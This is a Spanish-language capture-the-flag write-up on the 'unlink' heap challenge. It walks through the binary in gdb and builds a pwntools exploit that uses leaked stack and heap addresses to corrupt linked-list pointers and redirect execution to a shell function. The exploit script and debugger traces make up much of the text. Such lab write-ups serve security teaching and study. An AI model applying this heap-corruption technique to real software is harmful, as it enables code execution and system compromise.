History view

Pwning in Linux

Unlink

theFaunia in the wild 2019. 2. 28. 16:30

Date: 30/12/2018-02/01/2019 @naivenom

2.1 Heap memory

Esta asignada dinamicamente. La memoria es global esto quiere decir que es accesible desde cualquier "lugar" dentro del programa y no esta localizada en la función donde es allocated. Esto se logra usando 'punteros' para hacer referencia a la memoria asignada dinámicamente. stdlib.h --> Nos permite acceder, modificar y manejar dinámicamente la memoria. Las funciones mas comunes de uso son malloc() y free()

// Dynamically allocate 10 bytes
char *buffer = (char *)malloc(10);

strcpy(buffer, "hello");
printf("%s\n", buffer); // prints "hello"

// Frees/unallocates the dynamic memory allocated earlier
free(buffer);

malloc(): /*
  malloc(size_t n)
  Returns a pointer to a newly allocated chunk of at least n
  bytes, or null if no space is available. Additionally, on 
  failure, errno is set to ENOMEM on ANSI C systems.

  If n is zero, malloc returns a minimum-sized chunk. (The
  minimum size is 16 bytes on most 32bit systems, and 24 or 32
  bytes on 64bit systems.)  On most systems, size_t is an unsigned
  type, so calls with negative arguments are interpreted as
  requests for huge amounts of space, which will often fail. The
  maximum supported value of n differs across systems, but is in
  all cases less than the maximum representable value of a
  size_t.
*/

free(): /*
  free(void* p)
  Releases the chunk of memory pointed to by p, that had been
  previously allocated using malloc or a related routine such as
  realloc. It has no effect if p is null. It can have arbitrary
  (i.e., bad!) effects if p has already been freed.

  Unless disabled (using mallopt), freeing very large spaces will
  when possible, automatically trigger operations that give
  back unused memory to the system, thus reducing program
  footprint.
*/

Es importante tener en cuenta que estas funciones de asignación de memoria son proporcionadas por la librería estándar. Estas funciones proporcionan una capa entre el desarrollador y el sistema operativo que administra de manera eficiente la memoria del heap. Es responsabilidad del desarrollador "liberar" cualquier memoria asignada después de usarla exactamente una vez. Internamente, estas funciones utilizan dos llamadas al sistema sbrk y mmap para solicitar y liberar memoria de heap del sistema operativo.

2.2 Deep Reversing Analysis

Abrimos GDB. Ponemos un breakpoint justo en la primera instruccion de la funcion main:

gdb-peda$ b *0x0804852f
Breakpoint 1 at 0x804852f

Y run

Instrucciones antes de la llamada a malloc,

   0x8048543 :	push   0x400
=> 0x8048548 :	call   0x80483a0 

Vemos que se pushea 0x400 a la funcion malloc como argumento.

naivenom@kali:~/pwnable/unlink$ python 
Python 2.7.15+ (default, Nov 28 2018, 16:27:22) 
[GCC 8.2.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> 0x400
1024

0x400 corresponde a 1024 bytes, y mirando el codigo fuente corresponde a: malloc(1024); Una vez se realiza la llamada de malloc vemos como tenemos mapeada el heap,

gdb-peda$ info proc mappings
process 4607
Mapped address spaces:
	Start Addr   End Addr       Size     Offset objfile
	 0x8048000  0x8049000     0x1000        0x0 /home/unlink/unlink
	 0x8049000  0x804a000     0x1000        0x0 /home/unlink/unlink
	 0x804a000  0x804b000     0x1000     0x1000 /home/unlink/unlink
	 0x90bb000  0x90dc000    0x21000        0x0 [heap]
	0xf75a8000 0xf75a9000     0x1000        0x0 
	0xf75a9000 0xf7759000   0x1b0000        0x0 /lib/i386-linux-gnu/libc-2.23.so
	0xf7759000 0xf775b000     0x2000   0x1af000 /lib/i386-linux-gnu/libc-2.23.so
	0xf775b000 0xf775c000     0x1000   0x1b1000 /lib/i386-linux-gnu/libc-2.23.so
	0xf775c000 0xf775f000     0x3000        0x0 
	0xf776b000 0xf776c000     0x1000        0x0 
	0xf776c000 0xf776e000     0x2000        0x0 [vvar]
	0xf776e000 0xf7770000     0x2000        0x0 [vdso]
	0xf7770000 0xf7793000    0x23000        0x0 /lib/i386-linux-gnu/ld-2.23.so
	0xf7793000 0xf7794000     0x1000    0x22000 /lib/i386-linux-gnu/ld-2.23.so
	0xf7794000 0xf7795000     0x1000    0x23000 /lib/i386-linux-gnu/ld-2.23.so
	0xffbf5000 0xffc16000    0x21000        0x0 [stack]

La dirección de comienzo corresponde a 0x90bb000 y fin 0x90dc000, también vemos el size de 0x21000.

gdb-peda$ x/100x 0x90bb000
0x90bb000:	0x00000000	0x00000409	0x00000000	0x00000000
0x90bb010:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb020:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb030:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb040:	0x00000000	0x00000000	0x00000000	0x00000000

De momento vemos 0x409 que no sabemos lo que es. En la siguiente instrucción hace lo mismo llama a malloc pero ahora se pushea 0x10:

0x8048553 :	push   0x10
0x8048555 :	call   0x80483a0 

Si nos damos cuenta desde 000 a 400 vemos un 0x19:

gdb-peda$ x/400x 0x90bb000
0x90bb000:	0x00000000	0x00000409	0x00000000	0x00000000
0x90bb010:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb020:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb030:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb040:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb050:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb060:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb070:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb080:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb090:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb0a0:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb0b0:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb0c0:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb0d0:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb0e0:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb0f0:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb100:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb110:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb120:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb130:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb140:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb150:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb160:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb170:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb180:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb190:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb1a0:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb1b0:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb1c0:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb1d0:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb1e0:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb1f0:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb200:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb210:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb220:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb230:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb240:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb250:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb260:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb270:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb280:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb290:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb2a0:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb2b0:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb2c0:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb2d0:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb2e0:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb2f0:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb300:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb310:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb320:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb330:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb340:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb350:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb360:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb370:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb380:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb390:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb3a0:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb3b0:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb3c0:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb3d0:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb3e0:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb3f0:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb400:	0x00000000	0x00000000	0x00000000	0x00000019
0x90bb410:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb420:	0x00000000	0x00020be1	0x00000000	0x00000000
0x90bb430:	0x00000000	0x00000000	0x00000000	0x00000000

En esta instruccion seguidamente después de la llamada a malloc,

0x804855d : mov DWORD PTR [ebp-0x14],eax
Se mueve el valor del registro eax que corresponde a EAX: 0x90bb410 --> 0x0 (Heap) al Stack es decir, a ebp-0x14. Y esta es la tercera vez que se ejecuta malloc,
=> 0x8048563 :	push   0x10
   0x8048565 :	call   0x80483a0 

Ahora vemos como tenemos otro 0x19,

0x90bb400:	0x00000000	0x00000000	0x00000000	0x00000019
0x90bb410:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb420:	0x00000000	0x00000019	0x00000000	0x00000000
0x90bb430:	0x00000000	0x00000000	0x00000000	0x00020bc9
0x90bb440:	0x00000000	0x00000000	0x00000000	0x00000000

En esta instruccion mueve el valor del registro eax,

0x804856d : mov DWORD PTR [ebp-0xc],eax
Ese valor corresponde a-->EAX: 0x90bb428 --> 0x0

Y finalmente nuestro cuarto malloc,

=> 0x8048573 :	push   0x10
   0x8048575 :	call   0x80483a0 

Como se puede apreciar vemos 3 chunks reservados en memoria despues del 0x19 simétricos en cuanto a tamaño.

0x90bb400:	0x00000000	0x00000000	0x00000000	0x00000019
0x90bb410:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb420:	0x00000000	0x00000019	0x00000000	0x00000000
0x90bb430:	0x00000000	0x00000000	0x00000000	0x00000019
0x90bb440:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb450:	0x00000000	0x00020bb1	0x00000000	0x00000000
0x804857d : mov DWORD PTR [ebp-0x10],eax
Y en esta instruccion mismo procedimiento que lo anterior se mueve al Stack. El valor correspondiente a eax es-->EAX: 0x90bb440 --> 0x0 0x8048580 : mov eax,DWORD PTR [ebp-0x14]
En esta instruccion mueve a eax el contenido almacenado en el Stack. Ahora cuando ejecutemos esta instruccion eax vale--> EAX: 0x90bb410 --> 0x0 0x8048583 : mov edx,DWORD PTR [ebp-0xc]
El valor de edx es-->EDX: 0x90bb428 --> 0x0 0x8048586 : mov DWORD PTR [eax],edx
El valor de eax es el valor anterior de edx->EAX: 0x90bb410 --> 0x90bb428 --> 0x0 0x8048588 : mov edx,DWORD PTR [ebp-0x14]
El valor de edx es el correspondiente al valor de ebp-0x14 del Stack->EDX: 0x90bb410 --> 0x90bb428 --> 0x0 0x804858b : mov eax,DWORD PTR [ebp-0xc]
El valor de eax es el correspondiente al valor de ebp-0xc del Stack->EAX: 0x90bb428 --> 0x0 Si evaluamos ahora el heap vemos como esta la dirección de memoria anterior,
0x90bb400:	0x00000000	0x00000000	0x00000000	0x00000019
0x90bb410:	0x090bb428	0x00000000	0x00000000	0x00000000
0x90bb420:	0x00000000	0x00000019	0x00000000	0x00000000
0x90bb430:	0x00000000	0x00000000	0x00000000	0x00000019
0x90bb440:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb450:	0x00000000	0x00020bb1	0x00000000	0x00000000
0x804858e : mov DWORD PTR [eax+0x4],edx
El valor de eax+0x4 es lo contenido en edx-> EDX: 0x90bb410 --> 0x90bb428 --> 0x0
gdb-peda$ x/x $eax+0x4
0x90bb42c:	0x090bb410
0x8048591 : mov eax,DWORD PTR [ebp-0xc]
El valor de eax es el contenido de ebp-0xc->EAX: 0x90bb428 --> 0x0 Evaluamos de nuevo el heap y vemos como esta otra dirección de memoria,
0x90bb400:	0x00000000	0x00000000	0x00000000	0x00000019
0x90bb410:	0x090bb428	0x00000000	0x00000000	0x00000000
0x90bb420:	0x00000000	0x00000019	0x00000000	0x090bb410
0x90bb430:	0x00000000	0x00000000	0x00000000	0x00000019
0x90bb440:	0x00000000	0x00000000	0x00000000	0x00000000
0x90bb450:	0x00000000	0x00020bb1	0x00000000	0x00000000
0x8048594 : mov edx,DWORD PTR [ebp-0x10]
El valor de edx es->EDX: 0x90bb440 --> 0x0 0x8048597 : mov DWORD PTR [eax],edx
El valor de eax es->EAX: 0x90bb428 --> 0x90bb440 --> 0x0 0x8048599 : mov eax,DWORD PTR [ebp-0x10]
El valor de eax es->EAX: 0x90bb440 --> 0x0 0x804859c : mov edx,DWORD PTR [ebp-0xc]
El valor de edx es->EDX: 0x90bb428 --> 0x90bb440 --> 0x0 0x804859f : mov DWORD PTR [eax+0x4],edx
El valor de eax+0x4 es lo contenido en edx->EDX: 0x90bb428 --> 0x90bb440 --> 0x0
gdb-peda$ x/x $eax+0x4
0x90bb444:	0x090bb428
Evaluamos el heap,
0x90bb400:	0x00000000	0x00000000	0x00000000	0x00000019
0x90bb410:	0x090bb428	0x00000000	0x00000000	0x00000000
0x90bb420:	0x00000000	0x00000019	0x090bb440	0x090bb410
0x90bb430:	0x00000000	0x00000000	0x00000000	0x00000019
0x90bb440:	0x00000000	0x090bb428	0x00000000	0x00000000
0x90bb450:	0x00000000	0x00020bb1
Y ahí vemos nuestra dirección de memoria terminada en "428". Como conclusión hasta ahora en las instrucciones vistas es que almacena en el heap direcciones propias del heap con motivos desconocidos hasta el momento. De momento podríamos pensar es que si existe una función donde obtenemos una shell podríamos manipular de alguna forma el heap para llamar esa función y hacer un trigger de /bin/sh y obtener shell, pero para ello deberemos tener algun input por stdin donde tengamos algun tipo de control. Las siguientes instrucciones es un printf que nos visualiza por salida estándar una dirección del stack, un leak. Esa direccion corresponde a,
0x080485a5 <+118>:	lea    eax,[ebp-0x14]
0x080485a8 <+121>:	push   eax
Vemos que es lo que contiene ebp-0x14,
gdb-peda$ x/x $ebp-0x14
0xffc14f04:	0x090bb410
Contiene una dirección de memoria del heap pero sabiendo que la instrucción es un lea lo que movera sera la dirección del stack->0xffc14f04 y ese sera al pushear eax el argumento que recibirá printf con el testigo de formato. Luego seguidamente vemos otro printf,
0x080485b3 <+132>:	add    esp,0x10
   0x080485b6 <+135>:	mov    eax,DWORD PTR [ebp-0x14]
   0x080485b9 <+138>:	sub    esp,0x8
   0x080485bc <+141>:	push   eax
   0x080485bd <+142>:	push   0x80486b8
   0x080485c2 <+147>:	call   0x8048380 
Ahora resulta que es un mov por lo tanto moverá el contenido de ebp-0x14,
gdb-peda$ x/x $ebp-0x14
0xffc14f04:	0x090bb410
Es decir, movera la direccion del heap y no la del stack->0x090bb410 "here is heap address leak: %p\n" Seguidamente vemos un puts,
0x080485c7 <+152>:	add    esp,0x10
0x080485ca <+155>:	sub    esp,0xc
0x080485cd <+158>:	push   0x80486d8
0x080485d2 <+163>:	call   0x80483b0 
Después del puts que simplemente mostrara por salida estándar una string vemos un gets, este sera nuestro vector de ataque,
0x080485d7 <+168>:	add    esp,0x10
0x080485da <+171>:	mov    eax,DWORD PTR [ebp-0x14]
0x080485dd <+174>:	add    eax,0x8
0x080485e0 <+177>:	sub    esp,0xc
0x080485e3 <+180>:	push   eax
0x080485e4 <+181>:	call   0x8048390 
0x80485da : mov eax,DWORD PTR [ebp-0x14]
En esta instrucción mueve a eax el contenido de ebp-0x14->EAX: 0x90bb410 --> 0x90bb428 --> 0x90bb440 --> 0x0
gdb-peda$ x/x $eax
0x90bb410:	0x090bb428
0x80485dd : add eax,0x8
Ahora se le suma vemos que sucede y es que ahora se le suma 0x8 a la dirección del heap
gdb-peda$ x/x $eax
0x90bb418:	0x00000000
Evaluamos el heap,
0x90bb400:	0x00000000	0x00000000	0x00000000	0x00000019
0x90bb410:	0x090bb428	0x00000000	0x00000000	0x00000000
0x90bb420:	0x00000000	0x00000019	0x090bb440	0x090bb410
0x90bb430:	0x00000000	0x00000000	0x00000000	0x00000019
0x90bb440:	0x00000000	0x090bb428	0x00000000	0x00000000
0x90bb450:	0x00000000	0x00000409	0x20776f6e	0x74616874
0x90bb460:	0x756f7920	0x76616820	0x656c2065	0x2c736b61
0x90bb470:	0x74656720	0x65687320	0x0a216c6c	0x000a340a
Podemos ver los ultimos valores en hexadecimal que corresponden a una string seguramente.
gdb-peda$ x/20s 0x90bb460
0x90bb460:	" you have leaks, get shell!\n\n4\n"
Correcto. Lo importante es que si ahora eax vale->0x90bb418 y se va a pushear ese valor a gets significa que nosotros podremos escribir contenido justo en el comienzo de esa dirección. Cuando llama a gets() el valor de retorno corresponde al input introducido->EAX: 0x90bb418 ("AAAABBBC") Evaluamos el heap,
0x90bb400:	0x00000000	0x00000000	0x00000000	0x00000019
0x90bb410:	0x090bb428	0x00000000	0x41414141	0x43424242
0x90bb420:	0x00000000	0x00000019	0x090bb440	0x090bb410
0x90bb430:	0x00000000	0x00000000	0x00000000	0x00000019
0x90bb440:	0x00000000	0x090bb428	0x00000000	0x00000000
0x90bb450:	0x00000000	0x00000409	0x20776f6e	0x74616874
0x90bb460:	0x756f7920	0x76616820	0x656c2065	0x2c736b61
0x90bb470:	0x74656720	0x65687320	0x0a216c6c	0x000a340a
Ahí esta nuestro input escrito en el heap. Aun estamos realizando reversing para entender este programa así que no nos vamos a centrar en su explotación pero esta claro que nuestro vector de ataque comienza en el primer chunk con 12 bytes hasta el siguiente 0x19. (En este caso escribimos 8 bytes). Ahora viene lo importante, llama a una función denominada unlink() y se le pasa de argumento->DWORD PTR [ebp-0xc] Primero vamos a ver que contiene ebp-0xc,
gdb-peda$ x/x $ebp-0xc
0xffc14f0c:	0x090bb428
Contiene->0x090bb428, esa dirección del heap contiene a su vez 0x090bb440. Ahora con "si" entramos en la función unlink(). Primera vista de la función desensamblada:
gdb-peda$ disassemble unlink
Dump of assembler code for function unlink:
=> 0x08048504 <+0>:	push   ebp
   0x08048505 <+1>:	mov    ebp,esp
   0x08048507 <+3>:	sub    esp,0x10
   0x0804850a <+6>:	mov    eax,DWORD PTR [ebp+0x8]
   0x0804850d <+9>:	mov    eax,DWORD PTR [eax+0x4]
   0x08048510 <+12>:	mov    DWORD PTR [ebp-0x4],eax
   0x08048513 <+15>:	mov    eax,DWORD PTR [ebp+0x8]
   0x08048516 <+18>:	mov    eax,DWORD PTR [eax]
   0x08048518 <+20>:	mov    DWORD PTR [ebp-0x8],eax
   0x0804851b <+23>:	mov    eax,DWORD PTR [ebp-0x8]
   0x0804851e <+26>:	mov    edx,DWORD PTR [ebp-0x4]
   0x08048521 <+29>:	mov    DWORD PTR [eax+0x4],edx
   0x08048524 <+32>:	mov    eax,DWORD PTR [ebp-0x4]
   0x08048527 <+35>:	mov    edx,DWORD PTR [ebp-0x8]
   0x0804852a <+38>:	mov    DWORD PTR [eax],edx
   0x0804852c <+40>:	nop
   0x0804852d <+41>:	leave  
   0x0804852e <+42>:	ret
0x0804850a <+6>: mov eax,DWORD PTR [ebp+0x8]
En esta instrucción se mueve el valor de ebp+0x8 al registro eax->EAX: 0x90bb428 --> 0x90bb440 --> 0x0
gdb-peda$ x/x $eax
0x90bb428:	0x090bb440
Evaluamos heap despues de la ejecución de esta instrucción,
0x90bb400:	0x00000000	0x00000000	0x00000000	0x00000019
0x90bb410:	0x090bb428	0x00000000	0x41414141	0x43424242
0x90bb420:	0x00000000	0x00000019	0x090bb440	0x090bb410
0x90bb430:	0x00000000	0x00000000	0x00000000	0x00000019
0x90bb440:	0x00000000	0x090bb428	0x00000000	0x00000000
0x90bb450:	0x00000000	0x00000409	0x20776f6e	0x74616874
0x90bb460:	0x756f7920	0x76616820	0x656c2065	0x2c736b61
0x90bb470:	0x74656720	0x65687320	0x0a216c6c	0x000a340a
0x804850d : mov eax,DWORD PTR [eax+0x4]
Se mueve el valor de eax+0x4 a eax->EAX: 0x90bb410 --> 0x90bb428 --> 0x90bb440 --> 0x0
gdb-peda$ x/x $eax
0x90bb410:	0x090bb428
Evaluamos heap,
0x90bb400:	0x00000000	0x00000000	0x00000000	0x00000019
0x90bb410:	0x090bb428	0x00000000	0x41414141	0x43424242
0x90bb420:	0x00000000	0x00000019	0x090bb440	0x090bb410
0x90bb430:	0x00000000	0x00000000	0x00000000	0x00000019
0x90bb440:	0x00000000	0x090bb428	0x00000000	0x00000000
0x90bb450:	0x00000000	0x00000409	0x20776f6e	0x74616874
0x90bb460:	0x756f7920	0x76616820	0x656c2065	0x2c736b61
0x90bb470:	0x74656720	0x65687320	0x0a216c6c	0x000a340a
Sin cambios aparentes ya que solo se interactua con el Stack. 0x8048510 : mov DWORD PTR [ebp-0x4],eax
Se mueve al Stack,
gdb-peda$ x/x $ebp-0x4
0xffc14ee4:	0x090bb410
Evaluamos el Stack,
gdb-peda$ x/20x $esp
0xffc14ed8:	0xf76083eb	0x00000000	0xf775b000	0x090bb410
0xffc14ee8:	0xffc14f18	0x080485f7	0x090bb428	0x090bb410
0xffc14ef8:	0xf75d7a50	0x0804865b	0x00000001	0x090bb410
0xffc14f08:	0x090bb440	0x090bb428	0xf775b3dc	0xffc14f30
0xffc14f18:	0x00000000	0xf75c1637	0xf775b000	0xf775b000
0x8048513 : mov eax,DWORD PTR [ebp+0x8]
Mueve a eax->EAX: 0x90bb428 --> 0x90bb440 --> 0x0
gdb-peda$ x/x $eax
0x90bb428:	0x090bb440
0x8048516 : mov eax,DWORD PTR [eax]
El valor de eax-> EAX: 0x90bb440 --> 0x0
gdb-peda$ x/x $eax
0x90bb440:	0x00000000
0x8048518 : mov DWORD PTR [ebp-0x8],eax El valor de ebp-0x8,
gdb-peda$ x/x $ebp-0x8
0xffc14ee0:	0x090bb440
Evaluamos Stack,
gdb-peda$ x/20x $esp
0xffc14ed8:	0xf76083eb	0x00000000	0x090bb440	0x090bb410
0xffc14ee8:	0xffc14f18	0x080485f7	0x090bb428	0x090bb410
0xffc14ef8:	0xf75d7a50	0x0804865b	0x00000001	0x090bb410
0xffc14f08:	0x090bb440	0x090bb428	0xf775b3dc	0xffc14f30
0xffc14f18:	0x00000000	0xf75c1637	0xf775b000	0xf775b000
0x804851b : mov eax,DWORD PTR [ebp-0x8]
Se mueve a eax el valor anterior->EAX: 0x90bb440 --> 0x0
gdb-peda$ x/x $eax
0x90bb440:	0x00000000
0x0804851e <+26>: mov edx,DWORD PTR [ebp-0x4]
Se mueve a edx->EDX: 0x90bb410 --> 0x90bb428 --> 0x90bb440 --> 0x0
gdb-peda$ x/x $edx
0x90bb410:	0x090bb428
0x08048521 <+29>: mov DWORD PTR [eax+0x4],edx Se mueve lo que contiene edx a eax+0x4,
gdb-peda$ x/x $eax+0x4
0x90bb444:	0x090bb410
0x8048524 : mov eax,DWORD PTR [ebp-0x4] Se mueve lo contenido en ebp-0x4 a eax,
gdb-peda$ x/x $ebp-0x4
0xffc14ee4:	0x090bb410
Ejecutamos la instruccion y,
gdb-peda$ x/x $eax
0x90bb410:	0x090bb428
0x8048527 : mov edx,DWORD PTR [ebp-0x8] Se mueve lo contenido en ebp-0x8 a edx,
gdb-peda$ x/x $ebp-0x8
0xffc14ee0:	0x090bb440
Ejecutamos la instrucción y,
gdb-peda$ x/x $edx
0x90bb440:	0x00000000
0x804852a : mov DWORD PTR [eax],edx Ahora mueve edx a eax que seguramente el valor de eax sera el valor de retorno de la función,
gdb-peda$ x/x $eax
0x90bb410:	0x090bb440
La dirección de retorno esta en esp,
gdb-peda$ x/200x $esp
0xffc14eec:	0x080485f7	0x090bb428	0x090bb410	0xf75d7a50
0xffc14efc:	0x0804865b	0x00000001	0x090bb410	0x090bb440
0xffc14f0c:	0x090bb428	0xf775b3dc	0xffc14f30	0x00000000
0xffc14f1c:	0xf75c1637	0xf775b000	0xf775b000	0x00000000

2.3 Explotación local con GDB

Escenario de explotacion en heap:
0x90bb400:	0x00000000	0x00000000	0x00000000	0x00000019
0x90bb410:	0x090bb440	0x00000000	0x41414141	0x43424242
0x90bb420:	0x00000000	0x00000019	0x090bb440	0x090bb410
0x90bb430:	0x00000000	0x00000000	0x00000000	0x00000019
0x90bb440:	0x00000000	0x090bb410	0x00000000	0x00000000
0x90bb450:	0x00000000	0x00000409	0x20776f6e	0x74616874
0x90bb460:	0x756f7920	0x76616820	0x656c2065	0x2c736b61
0x90bb470:	0x74656720	0x65687320	0x0a216c6c	0x000a340a

Primera hipótesis sin usar leak desde Debugger:

Si el valor de eax cuando retorna la función unlink es igual->0x90bb410, cuyo contenido de esta dirección es como vemos arriba->0x90bb440, se entiende que el contenido de 0x90bb440 podría ser la dirección de memoria de la función shell(). Vamos a probarlo enviando un buffer y teniendo cuidado en no escribir direcciones necesarias NOTA El leak sera necesario para escribir su valor correspondiente en el heap para explotacion remota sin debugger.
unlink@ubuntu:~$ ./unlink
here is stack address leak: 0xffc57f54
here is heap address leak: 0x8827410
now that you have leaks, get shell!
a
En este caso la dirección del heap es otra. Si os dais cuenta la terminación es "410" == 0x90bb410. Después de varias investigaciones es imposible sin leak.

Segunda hipótesis usando leak y local scripting con pwntools+Debugger:

Vamos a empezar a escribir un script que estara en /tmp/nai/exploit.py.
from pwn import *
p = process('./unlink')
log.info(p.recvuntil("now that you have leaks, get shell!"))
Con esto recibimos el leak y tendremos que jugar con la dirección de stack ya que lo necesitaremos para escribir en el heap y calcular offset que veremos mas adelante. Modificamos el script para tener las direcciones:
from pwn import *

p = process('./unlink')
list_ = []
list_ = p.recvuntil("now that you have leaks, get shell!")
stack_address = list_[28:39]
heap_address = list_[66:76]

print stack_address
print heap_address
Y el out:
unlink@ubuntu:/tmp/nai$ python exploit.py 
[+] Starting local process './unlink': Done
0xff9d15e4

0x9430410

Stopped program './unlink'
Bien como es obvio sin el leak no podemos hacer nada y es necesario para poder seguir debuggeando y ver como podemos explotar el fallo en local, por lo tanto usando pwntools y gdb nos attachearemos al proceso y debugearemos aprovechando el leak y así no nos hará un crash el programa debido a la instrucción siguiente, 0x8048521 mov DWORD PTR [eax+0x4], edx
En esta instruccion eax vale justo lo que le pasamos por stdin y debera de ser una direccion valida sino crasheara... Sabiendo que tenemos escritura y podemos manipular la información con la instrucción que crashea nos aprovecharemos de ello para poder explotar este binario y llamar a la función shell. Como no puede ser de otra manera usaremos nuestro exploit que ya funciona y usaremos gdb para attachearnos y debuggear con el leak, ya que no hay otra forma si no es usando la combinación de pwntools+gdb, Aqui el exploit local:
from pwn import *

p = process('./unlink')
list_ = []
list_ = p.recvuntil("now that you have leaks, get shell!")
stack_address = list_[28:39]
heap_address = list_[66:76]

print stack_address
print heap_address
gdb.attach(p,'''
break *0x8048521
continue
''')
buff = ""
buff += "A"*4+"B"*4+"C"*4+"\x19\x00\x00\x00"
stack = int(stack_address, 16)
heap = int(heap_address, 16)
buff += p32(heap+36)
buff += p32(stack+16)
buff += p32(0x080484eb)
print hex(heap+36)
p.sendline(buff)
p.interactive()
Ejecutamos el exploit y nos abrirá una segunda terminal con GDB justo eip apuntando al breakpoint que pusimos. 0x8048521 mov DWORD PTR [eax+0x4], edx
Vision del Stack,
gef➤  x/20x $esp
0xbfedde48:	0xb7e5d3eb	0x00000000	0x08b7e434	0xbfedde84
0xbfedde58:	0xbfedde88	0x080485f7	0x08b7e428	0x08b7e410
0xbfedde68:	0xb7e2ca50	0x0804865b	0x00000001	0x08b7e410
0xbfedde78:	0x08b7e440	0x08b7e428	0xb7fb03dc	0xbfeddea0
0xbfedde88:	0x00000000	0xb7e16637	0xb7fb0000	0xb7fb0000
Vision del heap,
gef➤  x/20x 0x08b7e410
0x8b7e410:	0x08b7e428	0x00000000	0x41414141	0x42424242
0x8b7e420:	0x43434343	0x00000019	0x08b7e434	0xbfedde84
0x8b7e430:	0x080484eb	0x00000000	0x00000000	0x00000019
0x8b7e440:	0x00000000	0x08b7e428	0x00000000	0x00000000
0x8b7e450:	0x00000000	0x00000409	0x20776f6e	0x74616874
Vamos a detenernos en el heap y os podéis dar cuenta de que si la dirección del heap termina en "410" le sumamos 36 en decimal y obtenemos "434". Y en la dirección del stack lekada sera esta segun nuestro estudio->0xbfedde74 Le sumamos 16 en decimal y obtenemos 0xbfedde84. Con la instrucción que vimos anteriormente lo que hará sera mover esa ultima dirección de stack que le pasamos en el exploit, a la dirección del heap+0x4 (eax+0x4). 0x8048521 mov DWORD PTR [eax+0x4], edx
Ejecutamos la instruccion y vemos el heap,
gef➤  x/20x 0x08b7e410
0x8b7e410:	0x08b7e428	0x00000000	0x41414141	0x42424242
0x8b7e420:	0x43434343	0x00000019	0x08b7e434	0xbfedde84
0x8b7e430:	0x080484eb	0x00000000	0xbfedde84	0x00000019
0x8b7e440:	0x00000000	0x08b7e428	0x00000000	0x00000000
0x8b7e450:	0x00000000	0x00000409	0x20776f6e	0x74616874
Ejecutamos hasta el nop y vemos como la dirección de stack 0xbfedde84 contiene la dirección 0x08b7e434 perteneciente al heap.
gef➤  x/20x $esp
0xbfedde48:	0xb7e5d3eb	0x00000000	0x08b7e434	0xbfedde84
0xbfedde58:	0xbfedde88	0x080485f7	0x08b7e428	0x08b7e410
0xbfedde68:	0xb7e2ca50	0x0804865b	0x00000001	0x08b7e410
0xbfedde78:	0x08b7e440	0x08b7e428	0xb7fb03dc	0x08b7e434
0xbfedde88:	0x00000000	0xb7e16637	0xb7fb0000	0xb7fb0000
